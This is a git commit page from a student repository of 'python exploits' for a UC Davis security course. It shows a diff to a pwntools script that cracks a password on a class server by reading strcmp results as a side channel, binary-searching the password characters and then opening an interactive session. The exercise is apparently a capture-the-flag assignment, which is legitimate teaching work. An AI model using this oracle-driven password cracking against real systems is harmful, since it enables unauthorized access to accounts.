ucdavis-ecs189m

[RADIOACTIVE] python exploits for uc davis class ecs189m
git clone git://git.figbert.com/ucdavis-ecs189m.git
Log | Files | Refs

commit 429fa2f0b41c92740c74014c77d3c85c0abdc149
parent 1342ecbebdd6c5d10b9233c7ca4c6d2ef627f8c4
Author: therealFIGBERT <figbertwelner@gmail.com>
Date:   Fri,  4 Oct 2019 14:16:07 -0700

Schoolday's work 4/10/2019

Diffstat:
Mthird_flag.py | 37+++++++++++++++++--------------------
1 file changed, 17 insertions(+), 20 deletions(-)

diff --git a/third_flag.py b/third_flag.py @@ -32,6 +32,8 @@ previous_mid = current_mid alphabet = master_alphabet passkey = "" previous_pass = "" +response = None +previous_response = None cracked = False flipped = False start = 0 @@ -39,14 +41,15 @@ start = 0 conn = remote("twinpeaks.cs.ucdavis.edu", 30004) print(conn.recv()) passkey = pass_gen(first=True, char=alphabet[current_mid]) -conn.sendline(passkey) -print("Current letters:\n%s"%alphabet) -print("Pass sent as:\n%s"%passkey) -response = conn.recvline_contains(b"strcmp") -last_response_was_small = True if b" -1 " in response else False -print("Server response:\n%s"%response) while not cracked: while not flipped: + conn.sendline(passkey) + print("Current letters:\n%s"%alphabet) + print("Pass sent as:\n%s"%passkey) + previous_response = response if response is not None else None + response = conn.recvline_contains(b"strcmp") + print("Server response:\n%s"%response) + last_response_was_small = True if b" -1 " in response else False if b" -1 " in response: alphabet = alphabet[current_mid:] previous_mid = current_mid @@ -57,8 +60,6 @@ while not cracked: flipped = False else: flipped = True - last_response_was_small = True - print("\nDEBUG:\nflipped: {}\nlast_response_was_small: {}\nstart: {}\n".format(flipped, last_response_was_small, start)) elif b" 1 " in response: alphabet = alphabet[:current_mid] previous_mid = current_mid @@ -69,19 +70,15 @@ while not cracked: flipped = True else: flipped = False - last_response_was_small = False - print("\nDEBUG:\nflipped: {}\nlast_response_was_small: {}\nstart: {}\n".format(flipped, last_response_was_small, start)) else: print("Password cracked as: %s"%passkey) cracked = True conn.interactive() - conn.sendline(passkey) - print("Current letters:\n%s"%alphabet) - print("Pass sent as:\n%s"%passkey) - response = conn.recvline_contains(b"strcmp") - print("Server response:\n%s"%response) - passkey = previous_pass - alphabet = master_alphabet[previous_mid:current_mid] + # while len(alphabet) > 1: + flipped = False + alphabet = master_alphabet current_mid = find_middle(alphabet) - start += 1 - flipped = False -\ No newline at end of file + if not last_response_was_small: + response = previous_response + passkey = previous_pass + start += 1 +\ No newline at end of file